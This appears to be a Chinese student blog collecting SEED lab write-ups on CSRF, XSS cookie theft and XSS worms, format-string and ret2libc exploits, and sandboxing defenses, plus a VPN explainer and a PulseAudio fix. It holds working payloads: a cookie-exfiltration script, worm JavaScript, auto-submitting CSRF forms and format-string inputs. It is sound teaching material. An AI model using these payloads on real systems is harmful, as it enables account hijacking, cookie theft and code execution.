JJJYmmm 发布的文章

因为在正文里嵌了单独的一个<script>标签,导致了对自己网站的XSS攻击,悲

image-20230608110930812

CSRF GET

①基于GET请求的CSRF攻击,需要实现Alice在不经意间加Samy好友的功能。首先通过HTTP Header抓取正常的加好友请求,可以看到这是一个形如http://www.csrflabelgg.com/action/friends/add?friend=xx的GET请求

image-20230605194703310

②xx为所加好友的编号,这里samy的编号45可以通过另外一个账号如Boby对Samy发起好友申请查看,如下图

image-20230605194724707

②接下来修改www.csrflabattacker.com的主页,首先修改/etc/apache2/sites-available/000-default.conf文件,添加DirectoryIndex字段,设置主页为index.html

image-20230605194930060

index.html的内容如下,通过img字段发送GET请求,因为这个时候Alice与Elgg保持会话,所以这个请求发送时会附带Alice的cookie,从而使Alice添加Samy为好友.

<html>
    <head>
        <body>
            <img hidden="true" src="http://www.csrflabelgg.com/action/friends/add?friend=45" />
        </body>
    </head>
</html>

④通过邮件发送www.csrflabattacker.com这个攻击网址给Alice

image-20230605195831144

⑤Alice受到带有网址的邮件,如果点击,则会触发主页中的img请求

image-20230605200035912

⑥抓包发现Alice确实发送了加好友请求

image-20230605200545371

⑦此时Alice已经添加Samy为好友!

image-20230605200604766

CSRF POST

①使用POST请求修改Alice的主页,首先使用一个账号正常修改主页,抓包查看正常的报文及其字段

image-20230605212937763

②可以看到修改报文附带以下字段,其中description字段控制着主页内容

image-20230605213131639

③根据以上信息使用javascript构造POST请求,具体内容如下.fields变量存储上以上这些字段的input标签.将这个脚本写入www.csrflabattacker.com的主页中

<html>
<img hidden="true" src="https://typora-img-1311051873.cos.ap-beijing.myqcloud.com/typora/202303221053311.jpg" />

<body>
    <script type="text/javascript">
        function csrf_hack() {
            var fields;
            fields += "<input type='hidden' name='name' value='Alice'>";
            fields += "<input type='hidden' name='description' value='hacked by U202012007 Jie Huang'>";
            fields += "<input type='hidden' name='location' value=''>";
            fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
            fields += "<input type='hidden' name='guid' value='42'>";
            fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
            fields += "<input type='hidden' name='briefdescription' value=''>";
            fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
            var url = "http://www.csrflabelgg.com/action/profile/edit";
            var p = document.createElement("form");
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            document.body.appendChild(p);
            p.submit();
        }
        window.onload = function () { csrf_hack(); }
    </script>
</body>
</html>

④同样发邮件给Alice,Alice点击后触发POST请求

image-20230605214203986

⑤此时查看主页,已经被篡改!

image-20230605214246453

login CSRF

④login CSRF主要实现了账号的顶替,首先正常登录,查看正常的login报文,login报文附带了username,password,persistent等信息.

image-20230605214709281

⑤这里可以不需要JavaScript构建post表单,直接通过网页控制台就可以查看登录界面元素,定位登录表单,把这整个复制下来即可

image-20230605215621194

⑥复制下来的表单如下,在usernamepassword字段填入Samy的账号密码.最后写一个script用于表单发送出去.以下就是主页内容

<form method="post" action="http://www.csrflabelgg.com/action/login" class="elgg-form-login elgg-form">
    <fieldset><input name="__elgg_token" value="roMNct_LB7fLv_dXiu-3SA" type="hidden"><input name="__elgg_ts"
            value="1685972950" type="hidden">
        <div>
            <label>Username or email <input value="samy" name="username" autofocus="autofocus" required="required"
                    class="elgg-input-text" type="text"> </label>
        </div>
        <div>
            <label>Password <input value="seedsamy" autocapitalize="off" autocorrect="off" name="password" required="required"
                    class="elgg-input-password" type="password"> </label>
        </div>
        <div class="elgg-foot">
            <label class="mtm float-alt">
                <input name="persistent" value="true" type="checkbox">
                Remember me </label>

            <input value="Log in" class="elgg-button-submit elgg-button" type="submit">
            <ul class="elgg-menu elgg-menu-login elgg-menu-general elgg-menu-hz mtm elgg-menu-login-default">
                <li class="elgg-menu-item-register"><a href="http://www.csrflabelgg.com/register"
                        class="elgg-menu-content registration_link">Register</a></li>
                <li class="elgg-menu-item-forgotpassword"><a href="http://www.csrflabelgg.com/forgotpassword"
                        class="elgg-menu-content forgot_link">Lost password</a></li>
            </ul>
        </div>
    </fieldset>
</form>
<script>
    document.forms[0].submit();
</script>

⑦同样是发邮件给Alice,附带攻击网址

image-20230605215955651

⑧Alice点击后,画面闪过登录表单界面,随后发现成功登陆上Samy的账号!

image-20230605220029203

CSRF 防御

①CSRF防御可以开启gatekeeper,即使用安全令牌和时间戳来防止跨站脚本攻击.开启方式是修改/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionService.php中的gatekeeper函数,注释掉开始的永真判断.

image-20230605220637233

②开启防御后,login CSRF失效,因为我们使用的时间戳和token都是samy正常登录留下的,由Samy当时的会话,时间戳决定token.而Alice与Elgg的会话ID肯定与Samy和Elgg的会话ID不同,那么肯定会验证失败.所以无法登录

形式化来说, $token = func(time,id)$,$func(time_,id_{samy})\neq func(time,id_{alice})$

image-20230605223135814

③POST请求因为没有附带时间戳和token信息而被直接拒绝

image-20230605222234888

image-20230605222259823

④GET CSRF攻击同理,没用两个字段从而被拒绝操作

image-20230605222932156

⑤如果要查看Alice自己的token也容易实现,就如之前得到Samy的token一样.通过抓包Alice的登录报文即可

XSS COOKIE

①通过XSS攻击得到Alice的COOKIE,首先Samy在主页填入以下脚本信息,脚本内容是通过img标签触发get请求,从而将自身的cookie作为c字段发送给localhost的12007端口.这里因为在同一台机子上使用localhost即可,否则应该是攻击者的主机IP地址

<script>document.write('<img src=http://localhost:12007?c=' + escape(document.cookie) + ' >');  </script>

②Samy将这段脚本填入brief description

image-20230605232536765

③攻击者打开终端开始监听,Alice如果点开Samy主页,脚本就会被解析运行,从而将cookie发送.在监听终端可以看到Alice的cookie

image-20230605232757447

④对比监听终端受到的cookie和浏览器控制台存放的cookie,一致

image-20230605232912032

XSS AJAX

①AJAX攻击可以用来篡改主页,通过JavaScript脚本发送HttpRequest来篡改网页.脚本内容与先前的CSRF POST基本一致,不过更加隐蔽一点,不需要用户点击恶意网站.

image-20230605234355328

②脚本内容如下,主要是description字段

<script type="text/javascript">
    window.onload = function () {
    var token = "__elgg_token=" + elgg.security.token.__elgg_token;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var name = "&name=" + elgg.session.user.name;
    var desc = "&description=" + "Samy is my hero hacked by U202012007 Jie Huang" +
    "&accesslevel[description]" + "2";
    var guid = "&guid=" + elgg.session.user.guid;
    var content = token + ts + name + desc + guid
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script> 

③脚本填入About me中,记得使用html进行编辑,否则脚本会被解析成普通文字

image-20230605233851110

④Alice访问攻击者主页,通过HttpHeader可以看到Alice发送了修改主页请求

image-20230605233956321

⑤查看主页,已经被篡改!

image-20230605234755746

XSS Worm DOM

①XSS蠕虫攻击在修改主页的基础上,将恶意代码也拷贝到了受害者主页.从而将危害进一步传播.如果使用DOM的方法,直接在先前的脚本中添加以下一部分内容.这部分内容可以将恶意代码本身也复制到受害者的主页.具体来说,通过getElementById("worm")获取当前恶意脚本代码本身,然后再构造description时附带这部分wormcode即可.类似递归的概念(虽然不是),篡改的内容除了恶意标语还有篡改代码本身,这主要是DOM解析特性决定的(如果没记错应该会先解析DOM树,然后在执行script).

.....
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);  
.......
var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
......

②Alice点开Samy主页后,About me被篡改

image-20230605235705397

③Alice主页的html部分也被附带上了恶意代码

image-20230605235648731

④如果Boby点开Alice主页,同样主页会被篡改

image-20230605235736594

⑤同样Boby主页也被附带恶意代码,证明蠕虫攻击的效果

image-20230605235749956

XSS WORM LINK

①LINK方式比DOM方式更加简洁,首先把恶意脚本放入js文件中,wormcode(附加恶意代码)此时直接使用一个script标签引用这个js文件即可.

// worm.js in /var/www/CSRF/Attacker
window.onload = function() {
        var wormCode = encodeURIComponent("<script type=\"text/javascript\" " +"id = \"worm\" " +"src=\"http://www.csrflabattacker.com/worm.js\">" +"</" + "script>");
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
        var name = "&name=" + elgg.session.user.name;
        var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
        desc += "&accesslevel[description]=" + "2";
        var guid = "&guid=" + elgg.session.user.guid;
        var content = token + ts + name + desc + guid;
        var sendurl="http://www.xsslabelgg.com/action/profile/edit";
    
        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
}

②此时在主页只需要写一个script标签引入刚刚写的js文件即可

<script type="text/javascript" id="worm" src="http://www.csrflabattacker.com/worm.js">
</script>

image-20230606000656495

③查看Samy主页,发现worm.js确实被解析.接下来的攻击效果与DOM一致

image-20230606001123434

④ALICE的主页会被篡改

image-20230606001148292

⑤主页html部分也会附带恶意脚本

image-20230606001200937

XSS 防御

①第一种XSS防御是HTMLawed,通过管理员打开

image-20230606094445790

②打开后HTMLawed,恶意脚本的\<script\>标签会被脱掉,从而无法完成正常的script解析与执行.

image-20230606094937906

③另一种防御是PHP内置的方法 htmlspecialchars(),可以修改/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/ output/这个目录下的

text.php,url.php,dropdown.php,email.php来开启这个功能.

image-20230606095933099

④开启后,它会对用户输入中的特殊字符进行编码,例如将"<"转换为"\&lt" ,">"转换为"\&gt",如下图所示

image-20230606095907727

最近服务器时常出现卡顿现象,最近两天甚至直接崩溃了两次。痛定思痛,决定好好排查一下。

根据学姐的说法,服务器是因为CPU占用过高导致崩溃,但是我们一般都是用GPU资源,CPU跑满的情况非常少见。随后查看日志可以发现服务器崩溃前运行的是rtkit-daemon这个守护进程(这是一个音视频相关的进程)

img

网上查阅后发现不止我们出现这个情况,问题出在PulseAudio这个软件上。他会启动rtkit进程,而这个进程似乎存在过度占用CPU的bug。

image-20230603193645492

接下来关闭PulseAudio服务就好了~

打开/etc/pulse/client.conf~/.pulse/client.conf,修改autospawn=no,关闭PulseAudio服务的自启。

image-20230603191922514

然后把它kill掉就可以了!sudo pkill -f pulseaudio

当然这个方法不一定总是成功,有时候他还是会自动启动,那么也可以直接apt-get remove --purge pulseaudio将其卸载~

image-20230603195200789

至此完结,如果服务器还出现卡顿/崩溃现象再回来更新

前言

编译server时,会报错

fatal error: bits/libc-header-start.h: 没有那个文件或目录

可以通过以下命令完善lib

sudo apt-get install gcc-multilib
sudo apt-get install g++-multilib

这个时候可以成功编译server了

Task 1

首先为 touchstone 程序添加 setuid root 权限,并执行

image-20230530194727543

在/tmp目录下创建test.txt文件,并将其 owner 改成 root

touch /tmp/test.txt
sudo chown root /tmp/test.txt

image-20230530195032693

接下来修改exploit代码,需要修正lib的地址和一些函数的偏移地址

image-20230530195610329

image-20230530195751269

其中frame pointer的值server已经给出(非常节约任务量)

image-20230530200053028

修改后的exploit代码如下(记得把ul_arg取消注释)

image-20230530201147068

运行python3 exploit-template.py 127.0.0.1 80,/tmp目录下的test.txt成功删除!

image-20230530201017054

Task 2

修改server程序,添加chroot支持(记得重新编译)

image-20230531095722163

使用chroot-setup.sh改变root directory为/jali,并在jali中启动server

chmod +x chroot-setup.sh chroot-copy.sh
sudo ./chroot-setup.sh
cd /jail
sudo ./touchstone

执行chroot-setup.sh脚本,注意这里如果系统选的中文,那么需要注释掉sh脚本中的开始的特权级判断

#!/bin/sh -x
# if id | grep -qv uid=0; then
#     echo "Must run setup as root"
#     exit 1
# fi

image-20230531093934005

image-20230531093719225

运行touchstone程序,并更新exploit程序中的lib基地址(因为用到的lib已经复制到了jail目录下,位置已经发生改变)和frame base

# 查看基地址
ps -ef | grep banksv
sudo gdb
attach xxxx # banksv's pid
info proc mappings

image-20230531095946332

image-20230531100028392

image-20230531100116305

再次执行攻击,发现无法删除/tmp下的test.txt文件

image-20230531100440153

Task 3

修改server源码,在提示的三个地方使用setresuid(1000,1000,1000)设置为普通用户权限.重新编译

image-20230531101445736

修改exploit代码中的framebase和基地址,执行攻击。发现无法删除root用户的test.txt文件

image-20230531103109322

Task 4

首先安装seccomp库

sudo apt install libseccomp-dev libseccomp2 seccomp
sudo apt-get install libseccomp-dev:i386

默认拒绝 显示允许

修改banksv.c代码如下,添加如下代码。实现系统调用的默认拒绝,以及对于unlink的显式允许。

void Seccomp(){
  // init seccomp
  scmp_filter_ctx ctx;
  // 默认拒绝
  ctx = seccomp_init(SCMP_ACT_KILL);
  // permit unlink
  int rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW,SCMP_SYS(unlink), 0);
  
  seccomp_load(ctx);
  seccomp_release(ctx);
}

修改Makefile中编译banksv的选项,添加-l seccomp

image-20230531110632605

重新编译后,可以看到bansv的动态库使用的是i386的文件,这个时候可以按照Task 1的思路重新确定exploit代码中的各个偏移

image-20230531110846541

image-20230531111402542

修改exploit脚本并运行,/tmp下的test.txt成功删除

image-20230531113027368

默认允许 显示拒绝

修改banksv.c代码如下。实现系统调用的默认允许,以及对于unlink的显式拒绝。

image-20230531114912951

再次使用exploit脚本进行攻击,发现无法删除test.txt

image-20230531120828308

Task 5

首先安装apparmor拓展

sudo apt install apparmor-utils

允许server,并使用aa-genprofbanksv生成profile

image-20230531150427398

image-20230531152128143

重新加载配置文件

sudo systemctl reload apparmor.service

通过aa-status指令可以看到刚刚给banksv创建的profile成功被加载

image-20230531152232711

执行exploit脚本,无法删除文件,并且通过dmesg打印系统消息可以看到banksv的行为被apparmorDENIED,无法删除test.txt

image-20230531151348653

实验设置

平台:Ubuntu Seed 16.04

任务1

修改var值为0x66887799

①首先编译prog1程序

image-20230522094818281

②关闭ASLR,并利用printf函数的格式化漏洞,打印程序的栈信息。可以看到在打印第5个%08x时出现变量var的值。

image-20230522095115252

③开始构造输入,首先需要将var的值改为0x66887799。采用%hn进行分步修改(一次覆盖2个字节)。根据prog1的输出可以知道var的地址为0xbfffed54,由于计算机一般是小端存储,所以0x6688需要覆盖0xbfffed56开始的两个字节,0x7799则覆盖0xbfffed54开始的两个字节。

④首先输入需要先通过$(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")构造%hn写入的内存地址,并且在两个需要写入的地址中间用@@@@分割,这个主要是为了插入%.nx来调整第二个地址写入的值,其中n是两个写入值的差值。

⑤接下来需要构造差值,输入除了刚开始的地址外(12 bytes),还有4个%.8x(32 bytes)调整va_list,那么输入已经有了44个字符,而需要写入的值是0x6688(26248),所以接下来的%x长度为26248-44 = 26204;同理两个地址之间的%x长度为0x7799(30617)-26248=4369。

最后可以得到构造好的输入

$(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn 

⑥将该输入写入prog1,发现var变量成功被修改为0x66887799

image-20230522100333626

修改var值为0xdeadbeef

①接下来将var修改为0xdeadbeef,这个问题在于0xdead大于0xbeef,即按照刚刚的思路,写入0xdead时,总的字符长度已经大于0xbeef了,无法再通过%hn的方式写入。因此可以将0xbeef看作0x1beef。因为通过%hn实际写入内存的低两个字节,所以这个最高位的1会被忽略。

那么参照刚刚类似的计算,可以得到两个参数

$$ 0xDEAD = 57005,0x1BEEF = 114415\\ \delta x_1 = 57005-44 = 56961,\delta x_2 = 114415-47005 = 57410 $$

②填入相应参数,得到如下exploit程序

image-20230522101733800

③执行脚本,可以发现var变量成功改为0xdeadbeef

image-20230522101807712

任务2

shellcode利用

①开启 Stack Guard 保护,并关闭栈不可执行保护,编译程序prog2

image-20230522102301109

②简单运行prog2程序,发现输入字符串的写入地址为0xbfffed04,运行fmtstr函数时的ebp为0xbfffece8.

image-20230522102428908

③首先构造恶意shellcode用于获取shell,这部分实验材料已经给出。其次需要计算shellcode开始位置的地址,用于跳转。首先知道input的首地址为0xbfffed04,而shellcode的开始地址为下图程序中的start位置(运行后为176),所以shellcode在程序中的位置应该是0xbfffed04+176(dec)=0xbfffedab

④得到恶意shellcode的地址后,需要寻找函数返回地址的地址,并将该地址覆盖为恶意shellcode的地址。这个地址其实就是ebp+4,即0xbfffecec。参照之前写入的格式,通过%k$hn简化输入。(k表示va_list的第k个参数,等价于前面有k个%x)。这个k值可以通过打印栈内容得到,如下图。k分别是17和19(0xbfffecee0xbfffecec)。

image-20230522103530874

⑤最终脚本如下,运行后可以成功获得prog2的shell。

image-20230522102411629

image-20230522103653139

ret2lib利用

①开启 Stack Guard 保护,并开启栈不可执行保护,编译prog2程序。

image-20230522103805299

②接下来寻找system、exit、"/bin/bash"的地址,用于ret2libc的攻击。

image-20230522103853282

③得到函数地址如下

functionaddress
system0xb7da4da0
exit0xb7d989d0
“/bin/sh”0xb7ec582b

④运行程序,可以得到ebp的基地址0xbfffece8,那么为了实现ret2libc攻击,栈中的地址安排应该如下表。

addressvalue
ebp+4(0xbfffecec)0xb7da4da0
ebp+8(0xbfffecf0)0xb7d989d0
ebp+12(0xbfffecf4)0xb7ec582b

⑤采用刚才的%hn分段写入方法,那么应该写入以下六个地址。表已经按照value值从小到大排序,这也是构造输入时的顺序。

addressvalue
0xbfffecec0x4da0
0xbfffecf40x582b
0xbfffecf00x89d0
0xbfffecf20xb7d9
0xbfffecee0xb7da
0xbfffecf60xb7ec

⑥构造输入,计算差值,最终得到的input如下

echo $(printf "\xec\xec\xff\xbf@@@@\xf4\xec\xff\xbf@@@@\xf0\xec\xff\xbf@@@@\xf2\xec\xff\xbf@@@@\xee\xec\xff\xbf@@@@\xf6\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.19692x%hn_%.2698x%hn_%.12708x%hn_%.11784x%hn_%hn_%.17x%hn > badfile

⑦使用该输入进行测试,出现段错误,无法排除故障。去掉exit函数再次测试(少写入两个地址),重新计算差值,得到以下input。利用该input进行实验,成功获得shell!至于写入exit函数为什么会发生段错误,原因暂时没找到...

echo $(printf "\xec\xec\xff\xbf@@@@\xf4\xec\xff\xbf@@@@\xee\xec\xff\xbf@@@@\xf6\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.19708x%hn_%.2698x%hn_%.24494x%hn_%.17x%hn > badfile

image-20230522105203872

任务3

①本任务需要通过 GOT 表劫持,调用 win 函数。要求启 Stack Guard 保护,并开启栈不可执行保护,开启ASLR。

image-20230522105444423

②使用gdb确认win函数地址。这个地址不会受ASLR影响。

image-20230522105618718

③接下来考虑劫持print函数的got表,首先可以在fmtstr函数的第一个print函数打下断点。得到printf@plt的地址为0x80483a0

image-20230522110425495

④在该处打下断点动态调试。可以看到第一条jump语句就跳转到printf的got表。当然由于got表动态加载的特性,此时got表的内容就是printf@plt的下一条指令地址。

image-20230522110551386

image-20230522110645767

⑤接下来需要实现printf函数got表劫持。即将0x804a00c处的地址改为win函数入口0x804850b。代码与之前的攻击基本一致

image-20230522111122947

⑥运行结果如下,printf函数成功被劫持为win函数

image-20230522111002243

前言

我认为了解VPN的基本工作原理并实现一个TLS VPN需要以下前置知识:

  • 虚拟专用网络(VPN)。既然要做一个VPN,那么首先需要了解VPN的基本概念,确认需要实现的VPN类型(IPSec VPN或TLS VPN),并大致了解VPN的组成框架;
  • TUN/TAP与隧道。基于TCP隧道实现TLS VPN,那么隧道的概念与分类(基于UDP/TCP)需要有一定了解;另外VPN还使用到了虚拟网卡TUN,所以还需要了解TUN/TAP的工作原理以及使用;
  • 安全套接字层(SSL)。为了保证数据传输的安全性,我们还需要使用同样用在HTTPS上的SSL,SSL介于应用层和运输层(仅限于TCP协议)之间,通过这个我们可以实现对数据的加密;
  • PKI 和 X.509证书。这部分承接SSL,因为SSL握手认证时需要对服务器(客户端)进行身份认证,需要用到证书。既然涉及到证书还需要了解证书的签发者(CA);
  • 身份认证。VPN的身份认证同样是一个重点部分,当然我们既然使用了SSL,说明已经对服务器进行身份认证,接下来只需要对客户端进行身份认证即可。我们这里简单使用Linux下的账户进行登录验证,需要了解影子文件(shadow)相关知识;

接下来将从以上几个部分展开介绍。

虚拟专用网络(VPN)

虚拟专用网络(VPN)用于创建计算机通信的专用通信域,或为专用网络到不安全的网络(如Internet)的安全扩展。VPN 是一种被广泛使用的安全技术。在IPSec或TLS/SSL(传输层安全性/安全套接字层)上构建VPN是两种根本不同的方法。本实验中,我们重点关注基于 TLS/SSL的VPN。

TLS VPN共有三种实现方式:基于Web代理、基于端口转发、基 于 隧 道。我们选用跟IPSecVPN类似的隧道实现,这要求客户需要在本地安装客户端软件,并启动虚拟网卡。

基于隧道的TLS VPN工作流程(客户端->内网服务器)大概如下:到内网服务器的IP报文(虚拟网卡IP->内网服务器IP)会被客户端软件进行 SSL协议封装(真实网卡IP->TLS VPN网关IP),通过隧道传送到对端的TLS VPN网关设备再解密解封装,还原为原始IP报文,交给内网服务器。

TUN/TAP

TLS VPN中使用了TUN/TAP技术。TUN和TAP是虚拟网络内核驱动程序;它们可以实现完全由软件支持的网络设备。TAP 模拟以太网设备,处理的是以太网帧等二层数据包;TUN 模拟网络层设备,处理的是 IP 等三层数据包。我们可以用 TAP/TUN 创建虚拟网络接口(使用TUN创建虚拟网卡)。

个人理解虚拟网卡的read/write函数,我们完全可以将虚拟网络接口看成一张实际的网卡,当我们调用read函数时,就是读取从这张网卡转发出来的报文(即目的IP为虚拟网卡IP或报文根据路由转发到虚拟网卡),将其交给上层应用;当我们调用write函数时,相当于报文从计算机外部进入虚拟网卡,这个时候报文究竟发到哪里取决于它的目的IP,如果目的IP不同于虚拟网卡的网段,那么这个时候报文会根据路由表路由到对应网段的物理网卡,通过该物理网卡送出(相当于计算机是一个路由器,报文从虚拟网卡入,从相应的物理网卡出);如果目的IP就是虚拟网卡IP,那么该报文直接上交给应用程序;TLS VPN做远程接入功能时,不存在报文的目的IP和虚拟网卡IP不同但却在同一网段的情况。

VPN隧道

VPN隧道技术就是基于虚拟网卡(TUN/TAP)的技术,具体流程如下:假设VPN客户端10.0.2.7和VPN服务器10.0.2.8都开启虚拟网卡tun0,其中服务器的虚拟IP地址为192.168.53.1,客户端的虚拟IP地址为192.168.53.5。服务器连通192.168.60.0/24内网,我们希望VPN客户端可以访问内网的资源。

对于VPN客户端,我们首先设定目的IP为内网地址(以192.168.60.101为例)的报文统一转发到tun0虚拟网卡(设置路由);正如我们在1.2中所说,这个时候经过tun0转发的报文源IP为192.168.53.5,目的IP为192.168.60.101,此时由于tun0是虚拟网卡,所以该报文并不会直接进入局域网中;VPN客户端程序通过read函数从tun0网卡读出报文,在此处可以对报文进行加密等操作,接下来将报文通过socket连接发送给VPN服务器,socket连接的源IP是物理网卡IP:10.0.2.7,目的IP为VPN服务器的10.0.2.8。

这个过程我们可以理解为,客户端发给内网主机的报文,首先通过tun0虚拟网卡进行封装,添加了IP头部;随后VPN客户端程序从tun0读出该报文,经过加密等操作后通过socket连接发送给VPN服务器(即再次经过物理网卡10.0.2.7封装),此时报文外面的IP头部标识着两个物理网卡的IP,里面的IP头部信息为客户端tun0的IP:192.168.53.5 到 内网IP:192.168.60.101。

VPN服务器通过socket连接收到了客户端发出的报文,物理网卡10.0.2.8接收并交给VPN服务器程序,此时的报文已经被网卡去掉了外面的IP头部,那么这个时候报文的源/目的IP正如上一段所述。这时服务器程序将报文写入服务器的tun0网卡中,那么从tun0网卡192.168.53.1的角度来说:我接收到了一个源IP为192.168.53.5的报文,它的目的地是192.168.60.101,我应该查路由表寻找192.168.60.0/24网络对应的转发端口,并转发出去,从而到达内网主机

至此客户端发给内网主机的报文已经成功到达了内网。

image-20230601092239789

客户端接收报文与上述情况正好相反,内网主机首先发出回应报文(这里需要设置内网主机到VPN服务器docker2的路由,一般来说是默认路由,因为VPN服务器充当着默认网关的角色)。这个时候由于报文目的IP是192.168.53.5,属于192.168.53.0/24网络,自然会转发到tun0端口(192.168.53.1)。这个时候VPN服务器程序从tun0中取出该报文,可能做加密等操作,便通过socket连接发送给客户端。

客户端的物理网卡10.0.2.7收到报文后,褪去IP首部交给VPN客户端程序(因为socket连接就是VPN客户端和服务器之间建立的)。客户端收到该报文后,写入tun0虚拟网卡,由于tun0的IP地址就是报文的目的IP地址,因此客户端计算机不会再路由报文,而是直接上交给应用程序

至此应用程序就可以正常与内网主机通信,VPN隧道介绍完毕,个人认为这是最重要的一部分。

image-20230601092216824

安全套接字层(SSL)

在1.3中提到的socket连接可以是UDP或TCP,但是这两种方式都没有对隧道中的报文进行加密和完整性检验,我们可以选择在TCP的基础上搭建安全套接字层(SSL/TLS)。

TLS通常建立在TCP之上,SSL连接的建立同样需要握手。一般来说,由客户端发起连接”client hello”,附带SSL版本、加密套件列表等信息;服务器收到hello报文后回复”server hello”报文,附带服务器证书和生成的密钥信息;客户端验证完毕后生成密钥信息并将其发送给服务器;至此两方都有对方的密钥信息,接下来可以使用生成的密钥进行通信。

在上述过程中,客户端验证了服务器的证书;实际上服务器也可以验证客户端的证书,实现客户端身份认证。

image-20230601092159729

PKI 和X.509证书

在PKI系统中,由证书认证机构(Certification Authority, CA)签发数字证书、绑定 PKI 用户的身份信息和公钥。PKI依赖方(Relying Party)预先存储有自己所信任的根CA自签名证书,用来验证与之通信的PKI用户的证书链,,从而可信地获得该用户的公钥、用于各种安全服务。

X.509是PKI的标准格式,它是由公钥和私钥组成的密钥对而构建的。公钥和私钥能够用于加密和解密信息,基于X.509的PKI最常见的用例是使用SSL证书让网站与用户之间实现HTTPS安全浏览。

身份认证

证书本身是一种身份认证,但是在正常场景中,用户更多还是习惯基于口令认证。因此可以基于远程登录的思想,当VPN客户端连接VPN服务器时,需要输入VPN服务器下的账户和密码。建立SSL连接后,VPN服务器程序查看shadow文件,检查账户与对应密码的MD5值是否一致,一致则通过认证。